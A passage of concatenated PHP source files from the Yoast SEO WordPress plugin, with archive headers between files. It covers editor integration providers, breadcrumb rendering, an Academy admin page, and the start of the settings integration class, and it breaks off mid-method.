// @phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- This namespace should reflect the namespace of the original class.
namespace Yoast\WP\SEO\Editors\Framework\Integrations;

use Jetpack;
use Yoast\WP\SEO\Editors\Domain\Integrations\Integration_Data_Provider_Interface;

/**
 * Describes if the Jetpack markdown integration is enabled.
 */
class Jetpack_Markdown implements Integration_Data_Provider_Interface {

	/**
	 * If the integration is activated.
	 *
	 * @return bool If the integration is activated.
	 */
	public function is_enabled(): bool {
		return $this->is_markdown_enabled();
	}

	/**
	 * Return this object represented by a key value array.
	 *
	 * @return array<string, bool> Returns the name and if the feature is enabled.
	 */
	public function to_array(): array {
		return [
			'markdownEnabled' => $this->is_enabled(),
		];
	}

	/**
	 * Returns this object represented by a key value structure that is compliant with the script data array.
	 *
	 * @return array<string, bool> Returns the legacy key and if the feature is enabled.
	 */
	public function to_legacy_array(): array {
		return [
			'markdownEnabled' => $this->is_enabled(),
		];
	}

	/**
	 * Checks if Jetpack's markdown module is enabled.
	 * Can be extended to work with other plugins that parse markdown in the content.
	 *
	 * @return bool
	 */
	private function is_markdown_enabled() {
		$is_markdown = false;

		if ( \class_exists( 'Jetpack' ) && \method_exists( 'Jetpack', 'get_active_modules' ) ) {
			$active_modules = Jetpack::get_active_modules();

			// First at all, check if Jetpack's markdown module is active.
			$is_markdown = \in_array( 'markdown', $active_modules, true );
		}

		/**
		 * Filters whether markdown support is active in the readability- and seo-analysis.
		 *
		 * @since 11.3
		 *
		 * @param array $is_markdown Is markdown support for Yoast SEO active.
		 */
		return \apply_filters( 'wpseo_is_markdown_enabled', $is_markdown );
	}
}
editors/framework/integrations/woocommerce-seo.php000066600000003025152204306260016540 0ustar00<?php
// @phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- This namespace should reflect the namespace of the original class.
namespace Yoast\WP\SEO\Editors\Framework\Integrations;

use WPSEO_Addon_Manager;
use Yoast\WP\SEO\Editors\Domain\Integrations\Integration_Data_Provider_Interface;

/**
 * Describes if the Woocommerce SEO addon is enabled.
 */
class WooCommerce_SEO implements Integration_Data_Provider_Interface {

	/**
	 * The addon manager.
	 *
	 * @var WPSEO_Addon_Manager
	 */
	private $addon_manager;

	/**
	 * The constructor.
	 *
	 * @param WPSEO_Addon_Manager $addon_manager The addon manager.
	 */
	public function __construct( WPSEO_Addon_Manager $addon_manager ) {
		$this->addon_manager = $addon_manager;
	}

	/**
	 * If the plugin is activated.
	 *
	 * @return bool If the plugin is activated.
	 */
	public function is_enabled(): bool {
		return \is_plugin_active( $this->addon_manager->get_plugin_file( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ) );
	}

	/**
	 * Return this object represented by a key value array.
	 *
	 * @return array<string, bool> Returns the name and if the addon is enabled.
	 */
	public function to_array(): array {
		return [ 'isWooCommerceSeoActive' => $this->is_enabled() ];
	}

	/**
	 * Returns this object represented by a key value structure that is compliant with the script data array.
	 *
	 * @return array<string, bool> Returns the legacy key and if the feature is enabled.
	 */
	public function to_legacy_array(): array {
		return [ 'isWooCommerceSeoActive' => $this->is_enabled() ];
	}
}
editors/framework/integrations/semrush.php000066600000005465152204306260015135 0ustar00<?php
// @phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- This namespace should reflect the namespace of the original class.
namespace Yoast\WP\SEO\Editors\Framework\Integrations;

use Yoast\WP\SEO\Config\SEMrush_Client;
use Yoast\WP\SEO\Editors\Domain\Integrations\Integration_Data_Provider_Interface;
use Yoast\WP\SEO\Exceptions\OAuth\Authentication_Failed_Exception;
use Yoast\WP\SEO\Exceptions\OAuth\Tokens\Empty_Property_Exception;
use Yoast\WP\SEO\Exceptions\OAuth\Tokens\Empty_Token_Exception;
use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Describes if the Semrush integration is enabled.
 */
class Semrush implements Integration_Data_Provider_Interface {

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The constructor.
	 *
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * If the integration is activated.
	 *
	 * @return bool If the integration is activated.
	 */
	public function is_enabled(): bool {
		return (bool) $this->options_helper->get( 'semrush_integration_active', true );
	}

	/**
	 * Return this object represented by a key value array.
	 *
	 * @return array<string, bool> Returns the name and if the feature is enabled.
	 */
	public function to_array(): array {
		return [
			'active'      => $this->is_enabled(),
			'countryCode' => $this->options_helper->get( 'semrush_country_code', false ),
			'loginStatus' => $this->options_helper->get( 'semrush_integration_active', true ) && $this->get_semrush_login_status(),
		];
	}

	/**
	 * Returns this object represented by a key value structure that is compliant with the script data array.
	 *
	 * @return array<string, bool> Returns the legacy key and if the feature is enabled.
	 */
	public function to_legacy_array(): array {
		return [
			'semrushIntegrationActive' => $this->is_enabled(),
			'countryCode'              => $this->options_helper->get( 'semrush_country_code', false ),
			'SEMrushLoginStatus'       => $this->options_helper->get( 'semrush_integration_active', true ) && $this->get_semrush_login_status(),
		];
	}

	/**
	 * Checks if the user is logged in to SEMrush.
	 *
	 * @return bool The SEMrush login status.
	 */
	private function get_semrush_login_status() {
		try {
			// Do this just in time to handle constructor exception.
			$semrush_client = \YoastSEO()->classes->get( SEMrush_Client::class );
		} catch ( Empty_Property_Exception $e ) {
			// Return false if token is malformed (empty property).
			return false;
		}
		// Get token (and refresh it if it's expired).
		try {
			$semrush_client->get_tokens();
		} catch ( Authentication_Failed_Exception | Empty_Token_Exception $e ) {
			return false;
		}

		return $semrush_client->has_valid_tokens();
	}
}
editors/framework/integrations/multilingual.php000066600000005570152204306260016152 0ustar00<?php
// @phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- This namespace should reflect the namespace of the original class.
namespace Yoast\WP\SEO\Editors\Framework\Integrations;

use Yoast\WP\SEO\Conditionals\Third_Party\Polylang_Conditional;
use Yoast\WP\SEO\Conditionals\Third_Party\TranslatePress_Conditional;
use Yoast\WP\SEO\Conditionals\Third_Party\WPML_Conditional;
use Yoast\WP\SEO\Editors\Domain\Integrations\Integration_Data_Provider_Interface;

/**
 * Describes if the Multilingual integration is enabled.
 */
class Multilingual implements Integration_Data_Provider_Interface {

	/**
	 * The WPML conditional.
	 *
	 * @var WPML_Conditional
	 */
	private $wpml_conditional;

	/**
	 * The Polylang conditional.
	 *
	 * @var Polylang_Conditional
	 */
	private $polylang_conditional;

	/**
	 * The TranslatePress conditional.
	 *
	 * @var TranslatePress_Conditional
	 */
	private $translate_press_conditional;

	/**
	 * The constructor.
	 *
	 * @param WPML_Conditional           $wpml_conditional            The wpml conditional.
	 * @param Polylang_Conditional       $polylang_conditional        The polylang conditional.
	 * @param TranslatePress_Conditional $translate_press_conditional The translate press conditional.
	 */
	public function __construct( WPML_Conditional $wpml_conditional, Polylang_Conditional $polylang_conditional, TranslatePress_Conditional $translate_press_conditional ) {
		$this->wpml_conditional            = $wpml_conditional;
		$this->polylang_conditional        = $polylang_conditional;
		$this->translate_press_conditional = $translate_press_conditional;
	}

	/**
	 * If the integration is activated.
	 *
	 * @return bool If the integration is activated.
	 */
	public function is_enabled(): bool {
		return $this->multilingual_plugin_active();
	}

	/**
	 * Return this object represented by a key value array.
	 *
	 * @return array<string, bool> Returns the name and if the feature is enabled.
	 */
	public function to_array(): array {
		return [ 'isMultilingualActive' => $this->is_enabled() ];
	}

	/**
	 * Returns this object represented by a key value structure that is compliant with the script data array.
	 *
	 * @return array<string, bool> Returns the legacy key and if the feature is enabled.
	 */
	public function to_legacy_array(): array {
		return [ 'multilingualPluginActive' => $this->is_enabled() ];
	}

	/**
	 * Checks whether a multilingual plugin is currently active. Currently, we only check the following plugins:
	 * WPML, Polylang, and TranslatePress.
	 *
	 * @return bool Whether a multilingual plugin is currently active.
	 */
	private function multilingual_plugin_active() {
		$wpml_active           = $this->wpml_conditional->is_met();
		$polylang_active       = $this->polylang_conditional->is_met();
		$translatepress_active = $this->translate_press_conditional->is_met();

		return ( $wpml_active || $polylang_active || $translatepress_active );
	}
}
editors/framework/integrations/wincher.php000066600000004451152204306260015100 0ustar00<?php
// @phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- This namespace should reflect the namespace of the original class.
namespace Yoast\WP\SEO\Editors\Framework\Integrations;

use Yoast\WP\SEO\Editors\Domain\Integrations\Integration_Data_Provider_Interface;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Wincher_Helper;

/**
 * Describes if the Wincher integration is enabled.
 */
class Wincher implements Integration_Data_Provider_Interface {

	/**
	 * The Wincher helper.
	 *
	 * @var Wincher_Helper
	 */
	private $wincher_helper;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The constructor.
	 *
	 * @param Wincher_Helper $wincher_helper The Wincher helper.
	 * @param Options_Helper $options_helper The options helper.
	 */
	public function __construct( Wincher_Helper $wincher_helper, Options_Helper $options_helper ) {
		$this->wincher_helper = $wincher_helper;
		$this->options_helper = $options_helper;
	}

	/**
	 * If the integration is activated.
	 *
	 * @return bool If the integration is activated.
	 */
	public function is_enabled(): bool {
		return $this->wincher_helper->is_active();
	}

	/**
	 * Return this object represented by a key value array.
	 *
	 * @return array<string, bool> Returns the name and if the feature is enabled.
	 */
	public function to_array(): array {
		return [
			'active'            => $this->is_enabled(),
			'loginStatus'       => $this->is_enabled() && $this->wincher_helper->login_status(),
			'websiteId'         => $this->options_helper->get( 'wincher_website_id', '' ),
			'autoAddKeyphrases' => $this->options_helper->get( 'wincher_automatically_add_keyphrases', false ),
		];
	}

	/**
	 * Returns this object represented by a key value structure that is compliant with the script data array.
	 *
	 * @return array<string, bool> Returns the legacy key and if the feature is enabled.
	 */
	public function to_legacy_array(): array {
		return [
			'wincherIntegrationActive' => $this->is_enabled(),
			'wincherLoginStatus'       => $this->is_enabled() && $this->wincher_helper->login_status(),
			'wincherWebsiteId'         => $this->options_helper->get( 'wincher_website_id', '' ),
			'wincherAutoAddKeyphrases' => $this->options_helper->get( 'wincher_automatically_add_keyphrases', false ),
		];
	}
}
integrations/blocks/breadcrumbs-block.php000066600000006656152204306260014642 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Blocks;

use WPSEO_Replace_Vars;
use Yoast\WP\SEO\Memoizers\Meta_Tags_Context_Memoizer;
use Yoast\WP\SEO\Presenters\Breadcrumbs_Presenter;
use Yoast\WP\SEO\Repositories\Indexable_Repository;
use Yoast\WP\SEO\Surfaces\Helpers_Surface;

/**
 * Siblings block class
 */
class Breadcrumbs_Block extends Dynamic_Block_V3 {

	/**
	 * The name of the block.
	 *
	 * @var string
	 */
	protected $block_name = 'breadcrumbs';

	/**
	 * The editor script for the block.
	 *
	 * @var string
	 */
	protected $script = 'yoast-seo-dynamic-blocks';

	/**
	 * The Meta_Tags_Context_Memoizer.
	 *
	 * @var Meta_Tags_Context_Memoizer
	 */
	private $context_memoizer;

	/**
	 * The Replace vars helper.
	 *
	 * @var WPSEO_Replace_Vars
	 */
	private $replace_vars;

	/**
	 * The helpers surface.
	 *
	 * @var Helpers_Surface
	 */
	private $helpers;

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	private $indexable_repository;

	/**
	 * Siblings_Block constructor.
	 *
	 * @param Meta_Tags_Context_Memoizer $context_memoizer     The context.
	 * @param WPSEO_Replace_Vars         $replace_vars         The replace variable helper.
	 * @param Helpers_Surface            $helpers              The Helpers surface.
	 * @param Indexable_Repository       $indexable_repository The indexable repository.
	 */
	public function __construct(
		Meta_Tags_Context_Memoizer $context_memoizer,
		WPSEO_Replace_Vars $replace_vars,
		Helpers_Surface $helpers,
		Indexable_Repository $indexable_repository
	) {
		$this->context_memoizer     = $context_memoizer;
		$this->replace_vars         = $replace_vars;
		$this->helpers              = $helpers;
		$this->indexable_repository = $indexable_repository;

		$this->base_path = \WPSEO_PATH . 'blocks/dynamic-blocks/';
	}

	/**
	 * Presents the breadcrumbs output for the current page or the available post_id.
	 *
	 * @param array<string, bool|string|int|array> $attributes The block attributes.
	 *
	 * @return string The block output.
	 */
	public function present( $attributes ) {
		$presenter = new Breadcrumbs_Presenter();
		// $this->context_memoizer->for_current_page only works on the frontend. To render the right breadcrumb in the
		// editor, we need the repository.
		if ( \wp_is_serving_rest_request() || \is_admin() ) {
			$post_id = \get_the_ID();
			if ( $post_id ) {
				$indexable = $this->indexable_repository->find_by_id_and_type( $post_id, 'post' );

				if ( ! $indexable ) {
					$post      = \get_post( $post_id );
					$indexable = $this->indexable_repository->query()->create(
						[
							'object_id'        => $post_id,
							'object_type'      => 'post',
							'object_sub_type'  => $post->post_type,
						]
					);
				}

				$context = $this->context_memoizer->get( $indexable, 'Post_Type' );
			}
		}
		if ( ! isset( $context ) ) {
			$context = $this->context_memoizer->for_current_page();
		}

		/** This filter is documented in src/integrations/front-end-integration.php */
		$presentation            = \apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context );
		$presenter->presentation = $presentation;
		$presenter->replace_vars = $this->replace_vars;
		$presenter->helpers      = $this->helpers;
		$class_name              = 'yoast-breadcrumbs';

		if ( ! empty( $attributes['className'] ) ) {
			$class_name .= ' ' . \esc_attr( $attributes['className'] );
		}

		return '<div class="' . $class_name . '">' . $presenter->present() . '</div>';
	}
}
integrations/academy-integration.php000066600000011007152204306260013712 0ustar00<?php

namespace Yoast\WP\SEO\Integrations;

use WPSEO_Addon_Manager;
use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\User_Can_Manage_Wpseo_Options_Conditional;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Helpers\Short_Link_Helper;

/**
 * Class Academy_Integration.
 */
class Academy_Integration implements Integration_Interface {

	public const PAGE = 'wpseo_page_academy';

	/**
	 * Holds the WPSEO_Admin_Asset_Manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $asset_manager;

	/**
	 * Holds the Current_Page_Helper.
	 *
	 * @var Current_Page_Helper
	 */
	private $current_page_helper;

	/**
	 * Holds the Product_Helper.
	 *
	 * @var Product_Helper
	 */
	private $product_helper;

	/**
	 * Holds the Short_Link_Helper.
	 *
	 * @var Short_Link_Helper
	 */
	private $shortlink_helper;

	/**
	 * Constructs Academy_Integration.
	 *
	 * @param WPSEO_Admin_Asset_Manager $asset_manager       The WPSEO_Admin_Asset_Manager.
	 * @param Current_Page_Helper       $current_page_helper The Current_Page_Helper.
	 * @param Product_Helper            $product_helper      The Product_Helper.
	 * @param Short_Link_Helper         $shortlink_helper    The Short_Link_Helper.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $asset_manager,
		Current_Page_Helper $current_page_helper,
		Product_Helper $product_helper,
		Short_Link_Helper $shortlink_helper
	) {
		$this->asset_manager       = $asset_manager;
		$this->current_page_helper = $current_page_helper;
		$this->product_helper      = $product_helper;
		$this->shortlink_helper    = $shortlink_helper;
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class, User_Can_Manage_Wpseo_Options_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		// Add page.
		\add_filter( 'wpseo_submenu_pages', [ $this, 'add_page' ] );

		// Are we on the settings page?
		if ( $this->current_page_helper->get_current_yoast_seo_page() === self::PAGE ) {
			\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
			\add_action( 'in_admin_header', [ $this, 'remove_notices' ], \PHP_INT_MAX );
		}
	}

	/**
	 * Adds the page.
	 *
	 * @param array $pages The pages.
	 *
	 * @return array The pages.
	 */
	public function add_page( $pages ) {
		\array_splice(
			$pages,
			3,
			0,
			[
				[
					'wpseo_dashboard',
					'',
					\__( 'Academy', 'wordpress-seo' ),
					'wpseo_manage_options',
					self::PAGE,
					[ $this, 'display_page' ],
				],
			]
		);

		return $pages;
	}

	/**
	 * Displays the page.
	 *
	 * @return void
	 */
	public function display_page() {
		echo '<div id="yoast-seo-academy"></div>';
	}

	/**
	 * Enqueues the assets.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		// Remove the emoji script as it is incompatible with both React and any contenteditable fields.
		\remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );
		\wp_enqueue_media();
		$this->asset_manager->enqueue_script( 'academy' );
		$this->asset_manager->enqueue_style( 'academy' );
		$this->asset_manager->localize_script( 'academy', 'wpseoScriptData', $this->get_script_data() );
	}

	/**
	 * Removes all current WP notices.
	 *
	 * @return void
	 */
	public function remove_notices() {
		\remove_all_actions( 'admin_notices' );
		\remove_all_actions( 'user_admin_notices' );
		\remove_all_actions( 'network_admin_notices' );
		\remove_all_actions( 'all_admin_notices' );
	}

	/**
	 * Creates the script data.
	 *
	 * @return array The script data.
	 */
	public function get_script_data() {
		$addon_manager = new WPSEO_Addon_Manager();

		$woocommerce_seo_active = $addon_manager->is_installed( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG );
		$local_seo_active       = $addon_manager->is_installed( WPSEO_Addon_Manager::LOCAL_SLUG );

		return [
			'preferences' => [
				'isPremium'      => $this->product_helper->is_premium(),
				'isWooActive'    => $woocommerce_seo_active,
				'isLocalActive'  => $local_seo_active,
				'isRtl'          => \is_rtl(),
				'pluginUrl'      => \plugins_url( '', \WPSEO_FILE ),
				'upsellSettings' => [
					'actionId'     => 'load-nfd-ctb',
					'premiumCtbId' => 'f6a84663-465f-4cb5-8ba5-f7a6d72224b2',
				],
			],
			'linkParams'  => $this->shortlink_helper->get_query_params(),
		];
	}
}
integrations/exclude-attachment-post-type.php000066600000001452152204306260015512 0ustar00<?php

namespace Yoast\WP\SEO\Integrations;

use Yoast\WP\SEO\Conditionals\Attachment_Redirections_Enabled_Conditional;

/**
 * Excludes Attachment post types from the indexable table.
 *
 * Posts with these post types will not be saved to the indexable table.
 */
class Exclude_Attachment_Post_Type extends Abstract_Exclude_Post_Type {

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Attachment_Redirections_Enabled_Conditional::class ];
	}

	/**
	 * Returns the names of the post types to be excluded.
	 * To be used in the wpseo_indexable_excluded_post_types filter.
	 *
	 * @return array The names of the post types.
	 */
	public function get_post_type() {
		return [ 'attachment' ];
	}
}
integrations/breadcrumbs-integration.php000066600000004025152204306260014602 0ustar00<?php

namespace Yoast\WP\SEO\Integrations;

use WPSEO_Replace_Vars;
use Yoast\WP\SEO\Memoizers\Meta_Tags_Context_Memoizer;
use Yoast\WP\SEO\Presenters\Breadcrumbs_Presenter;
use Yoast\WP\SEO\Surfaces\Helpers_Surface;

/**
 * Adds customizations to the front end for breadcrumbs.
 */
class Breadcrumbs_Integration implements Integration_Interface {

	/**
	 * The breadcrumbs presenter.
	 *
	 * @var Breadcrumbs_Presenter
	 */
	private $presenter;

	/**
	 * The meta tags context memoizer.
	 *
	 * @var Meta_Tags_Context_Memoizer
	 */
	private $context_memoizer;

	/**
	 * Breadcrumbs integration constructor.
	 *
	 * @param Helpers_Surface            $helpers          The helpers.
	 * @param WPSEO_Replace_Vars         $replace_vars     The replace vars.
	 * @param Meta_Tags_Context_Memoizer $context_memoizer The meta tags context memoizer.
	 */
	public function __construct(
		Helpers_Surface $helpers,
		WPSEO_Replace_Vars $replace_vars,
		Meta_Tags_Context_Memoizer $context_memoizer
	) {
		$this->context_memoizer        = $context_memoizer;
		$this->presenter               = new Breadcrumbs_Presenter();
		$this->presenter->helpers      = $helpers;
		$this->presenter->replace_vars = $replace_vars;
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array The array of conditionals.
	 */
	public static function get_conditionals() {
		return [];
	}

	/**
	 * Registers the `wpseo_breadcrumb` shortcode.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_shortcode( 'wpseo_breadcrumb', [ $this, 'render' ] );
	}

	/**
	 * Renders the breadcrumbs.
	 *
	 * @return string The rendered breadcrumbs.
	 */
	public function render() {
		$context = $this->context_memoizer->for_current_page();

		/** This filter is documented in src/integrations/front-end-integration.php */
		$presentation = \apply_filters( 'wpseo_frontend_presentation', $context->presentation, $context );

		$this->presenter->presentation = $presentation;

		return $this->presenter->present();
	}
}
integrations/settings-integration.php000066600000110060152204306260014146 0ustar00<?php

namespace Yoast\WP\SEO\Integrations;

use WP_Post;
use WP_Post_Type;
use WP_Taxonomy;
use WP_User;
use WPSEO_Addon_Manager;
use WPSEO_Admin_Asset_Manager;
use WPSEO_Admin_Editor_Specific_Replace_Vars;
use WPSEO_Admin_Recommended_Replace_Vars;
use WPSEO_Option_Titles;
use WPSEO_Options;
use WPSEO_Replace_Vars;
use WPSEO_Shortlinker;
use WPSEO_Sitemaps_Router;
use Yoast\WP\SEO\Conditionals\Settings_Conditional;
use Yoast\WP\SEO\Config\Schema_Types;
use Yoast\WP\SEO\Content_Type_Visibility\Application\Content_Type_Visibility_Dismiss_Notifications;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Language_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Post_Type_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Helpers\Schema\Article_Helper;
use Yoast\WP\SEO\Helpers\Taxonomy_Helper;
use Yoast\WP\SEO\Helpers\User_Helper;
use Yoast\WP\SEO\Helpers\Woocommerce_Helper;
use Yoast\WP\SEO\Llms_Txt\Application\Configuration\Llms_Txt_Configuration;
use Yoast\WP\SEO\Llms_Txt\Application\Health_Check\File_Runner;
use Yoast\WP\SEO\Llms_Txt\Infrastructure\Content\Manual_Post_Collection;
use Yoast\WP\SEO\Promotions\Application\Promotion_Manager;

/**
 * Class Settings_Integration.
 */
class Settings_Integration implements Integration_Interface {

	public const PAGE = 'wpseo_page_settings';

	/**
	 * Holds the included WordPress options.
	 *
	 * @var string[]
	 */
	public const WP_OPTIONS = [ 'blogdescription' ];

	/**
	 * Holds the allowed option groups.
	 *
	 * @var array
	 */
	public const ALLOWED_OPTION_GROUPS = [ 'wpseo', 'wpseo_titles', 'wpseo_social', 'wpseo_llmstxt' ];

	/**
	 * Holds the disallowed settings, per option group.
	 *
	 * @var array
	 */
	public const DISALLOWED_SETTINGS = [
		'wpseo'        => [
			'myyoast-oauth',
			'semrush_tokens',
			'custom_taxonomy_slugs',
			'import_cursors',
			'workouts_data',
			'configuration_finished_steps',
			'importing_completed',
			'wincher_tokens',
			'least_readability_ignore_list',
			'least_seo_score_ignore_list',
			'most_linked_ignore_list',
			'least_linked_ignore_list',
			'indexables_page_reading_list',
			'show_new_content_type_notification',
			'new_post_types',
			'new_taxonomies',
		],
		'wpseo_titles' => [
			'company_logo_meta',
			'person_logo_meta',
		],
	];

	/**
	 * Holds the disabled on multisite settings, per option group.
	 *
	 * @var array
	 */
	public const DISABLED_ON_MULTISITE_SETTINGS = [
		'wpseo' => [
			'deny_search_crawling',
			'deny_wp_json_crawling',
			'deny_adsbot_crawling',
			'deny_ccbot_crawling',
			'deny_google_extended_crawling',
			'deny_gptbot_crawling',
			'enable_llms_txt',
		],
	];

	/**
	 * Holds the WPSEO_Admin_Asset_Manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * Holds the WPSEO_Replace_Vars.
	 *
	 * @var WPSEO_Replace_Vars
	 */
	protected $replace_vars;

	/**
	 * Holds the Schema_Types.
	 *
	 * @var Schema_Types
	 */
	protected $schema_types;

	/**
	 * Holds the Current_Page_Helper.
	 *
	 * @var Current_Page_Helper
	 */
	protected $current_page_helper;

	/**
	 * Holds the Post_Type_Helper.
	 *
	 * @var Post_Type_Helper
	 */
	protected $post_type_helper;

	/**
	 * Holds the Language_Helper.
	 *
	 * @var Language_Helper
	 */
	protected $language_helper;

	/**
	 * Holds the Taxonomy_Helper.
	 *
	 * @var Taxonomy_Helper
	 */
	protected $taxonomy_helper;

	/**
	 * Holds the Product_Helper.
	 *
	 * @var Product_Helper
	 */
	protected $product_helper;

	/**
	 * Holds the Woocommerce_Helper.
	 *
	 * @var Woocommerce_Helper
	 */
	protected $woocommerce_helper;

	/**
	 * Holds the Article_Helper.
	 *
	 * @var Article_Helper
	 */
	protected $article_helper;

	/**
	 * Holds the User_Helper.
	 *
	 * @var User_Helper
	 */
	protected $user_helper;

	/**
	 * Holds the Options_Helper instance.
	 *
	 * @var Options_Helper
	 */
	protected $options;

	/**
	 * Holds the Content_Type_Visibility_Dismiss_Notifications instance.
	 *
	 * @var Content_Type_Visibility_Dismiss_Notifications
	 */
	protected $content_type_visibility;

	/**
	 * Holds the Llms_Txt_Configuration instance.
	 *
	 * @var Llms_Txt_Configuration
	 */
	protected $llms_txt_configuration;

	/**
	 * The manual post collection.
	 *
	 * @var Manual_Post_Collection
	 */
	private $manual_post_collection;

	/**
	 * Runs the health check.
	 *
	 * @var File_Runner
	 */
	private $runner;

	/**
	 * Constructs Settings_Integration.
	 *
	 * @param WPSEO_Admin_Asset_Manager                     $asset_manager           The WPSEO_Admin_Asset_Manager.
	 * @param WPSEO_Replace_Vars                            $replace_vars            The WPSEO_Replace_Vars.
	 * @param Schema_Types                                  $schema_types            The Schema_Types.
	 * @param Current_Page_Helper                           $current_page_helper     The Current_Page_Helper.
	 * @param Post_Type_Helper                              $post_type_helper        The Post_Type_Helper.
	 * @param Language_Helper                               $language_helper         The Language_Helper.
	 * @param Taxonomy_Helper                               $taxonomy_helper         The Taxonomy_Helper.
	 * @param Product_Helper                                $product_helper          The Product_Helper.
	 * @param Woocommerce_Helper                            $woocommerce_helper      The Woocommerce_Helper.
	 * @param Article_Helper                                $article_helper          The Article_Helper.
	 * @param User_Helper                                   $user_helper             The User_Helper.
	 * @param Options_Helper                                $options                 The options helper.
	 * @param Content_Type_Visibility_Dismiss_Notifications $content_type_visibility The Content_Type_Visibility_Dismiss_Notifications instance.
	 * @param Llms_Txt_Configuration                        $llms_txt_configuration  The Llms_Txt_Configuration instance.
	 * @param Manual_Post_Collection                        $manual_post_collection  The manual post collection.
	 * @param File_Runner                                   $runner                  The file runner.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $asset_manager,
		WPSEO_Replace_Vars $replace_vars,
		Schema_Types $schema_types,
		Current_Page_Helper $current_page_helper,
		Post_Type_Helper $post_type_helper,
		Language_Helper $language_helper,
		Taxonomy_Helper $taxonomy_helper,
		Product_Helper $product_helper,
		Woocommerce_Helper $woocommerce_helper,
		Article_Helper $article_helper,
		User_Helper $user_helper,
		Options_Helper $options,
		Content_Type_Visibility_Dismiss_Notifications $content_type_visibility,
		Llms_Txt_Configuration $llms_txt_configuration,
		Manual_Post_Collection $manual_post_collection,
		File_Runner $runner
	) {
		$this->asset_manager           = $asset_manager;
		$this->replace_vars            = $replace_vars;
		$this->schema_types            = $schema_types;
		$this->current_page_helper     = $current_page_helper;
		$this->taxonomy_helper         = $taxonomy_helper;
		$this->post_type_helper        = $post_type_helper;
		$this->language_helper         = $language_helper;
		$this->product_helper          = $product_helper;
		$this->woocommerce_helper      = $woocommerce_helper;
		$this->article_helper          = $article_helper;
		$this->user_helper             = $user_helper;
		$this->options                 = $options;
		$this->content_type_visibility = $content_type_visibility;
		$this->llms_txt_configuration  = $llms_txt_configuration;
		$this->manual_post_collection  = $manual_post_collection;
		$this->runner                  = $runner;
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Settings_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		// Add page.
		\add_filter( 'wpseo_submenu_pages', [ $this, 'add_page' ] );
		\add_filter( 'admin_menu', [ $this, 'add_settings_saved_page' ] );

		// Are we saving the settings?
		if ( $this->current_page_helper->get_current_admin_page() === 'options.php' ) {
			$post_action = '';
			// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information.
			if ( isset( $_POST['action'] ) && \is_string( $_POST['action'] ) ) {
				// phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information.
				$post_action = \wp_unslash( $_POST['action'] );
			}
			$option_page = '';
			// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information.
			if ( isset( $_POST['option_page'] ) && \is_string( $_POST['option_page'] ) ) {
				// phpcs:ignore WordPress.Security.NonceVerification.Missing, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information.
				$option_page = \wp_unslash( $_POST['option_page'] );
			}

			if ( $post_action === 'update' && $option_page === self::PAGE ) {
				\add_action( 'admin_init', [ $this, 'register_setting' ] );
				\add_action( 'in_admin_header', [ $this, 'remove_notices' ], \PHP_INT_MAX );
			}

			return;
		}

		// Are we on the settings page?
		if ( $this->current_page_helper->get_current_yoast_seo_page() === self::PAGE ) {
			\add_action( 'admin_init', [ $this, 'register_setting' ] );
			\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_assets' ] );
			\add_action( 'in_admin_header', [ $this, 'remove_notices' ], \PHP_INT_MAX );
		}
	}

	/**
	 * Registers the different options under the setting.
	 *
	 * @return void
	 */
	public function register_setting() {
		foreach ( WPSEO_Options::$options as $name => $instance ) {
			if ( \in_array( $name, self::ALLOWED_OPTION_GROUPS, true ) ) {
				\register_setting( self::PAGE, $name );
			}
		}
